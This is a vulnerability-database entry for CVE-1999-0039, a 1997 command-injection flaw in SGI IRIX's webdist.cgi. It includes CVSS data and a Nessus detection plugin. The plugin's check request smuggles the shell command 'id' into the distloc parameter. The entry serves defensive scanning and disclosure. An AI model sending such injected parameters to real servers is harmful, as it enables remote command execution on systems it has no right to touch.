Vulnerabilities > CVE-1999-0039 - Unspecified vulnerability in SGI Irix

047910
CVSS 7.5 - HIGH
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
PARTIAL
Integrity impact
PARTIAL
Availability impact
PARTIAL
network
low complexity
sgi
nessus
exploit available
NVD
Published: 1997-05-06
Updated: 2018-05-03

Summary

webdist CGI program (webdist.cgi) in SGI IRIX allows remote attackers to execute arbitrary commands via shell metacharacters in the distloc parameter.

Vulnerable Configurations

Part Description Count
OS
Sgi
7

Exploit-Db

descriptionSGI IRIX 6.3 cgi-bin webdist.cgi Vulnerabilty. CVE-1999-0039. Remote exploits for multiple platform
idEDB-ID:19299
last seen2016-02-02
modified1997-05-06
published1997-05-06
reporteranonymous
sourcehttps://www.exploit-db.com/download/19299/
titleSGI IRIX <= 6.3 cgi-bin webdist.cgi Vulnerabilty

Nessus

NASL familyCGI abuses
NASL idWEBDIST.NASL
descriptionThe
last seen2020-06-01
modified2020-06-02
plugin id10299
published1999-06-22
reporterThis script is Copyright (C) 1999-2018 Tenable Network Security, Inc.
sourcehttps://www.tenable.com/plugins/nessus/10299
titleIRIX webdist.cgi Arbitrary Command Execution
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
 script_id(10299);
 script_version("1.50");
 script_cvs_date("Date: 2018/11/15 20:50:19");

 script_cve_id("CVE-1999-0039");
 script_bugtraq_id(374);
 script_xref(name:"CERT-CC", value:"CA-1997-12");
 
 script_name(english:"IRIX webdist.cgi Arbitrary Command Execution");
 script_summary(english:"Checks for the presence of webdist.cgi");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a CGI script that is prone to arbitrary
code execution.");
 script_set_attribute(attribute:"description", value:
"The 'webdist.cgi' CGI is installed.  This script has a well-known
security flaw that lets anyone execute arbitrary commands with the
privileges of the web server user id.");
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/1997/May/18");
 script_set_attribute(attribute:"solution", value:"Remove this CGI.");
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"vuln_publication_date", value:"1997/05/06");
 script_set_attribute(attribute:"plugin_publication_date", value:"1999/06/22");

 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();

 script_category(ACT_ATTACK);
 script_copyright(english:"This script is Copyright (C) 1999-2018 Tenable Network Security, Inc.");
 script_family(english:"CGI abuses");
 script_dependencie("http_version.nasl", "find_service1.nasl", "no404.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

#
# The script code starts here
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);

http_check_remote_code(
  extra_dirs:"",
  check_request:"/webdist.cgi?distloc=;id",
  check_result:"uid=[0-9]+.*gid=[0-9]+.*",
  command:"id",
  port:port
);

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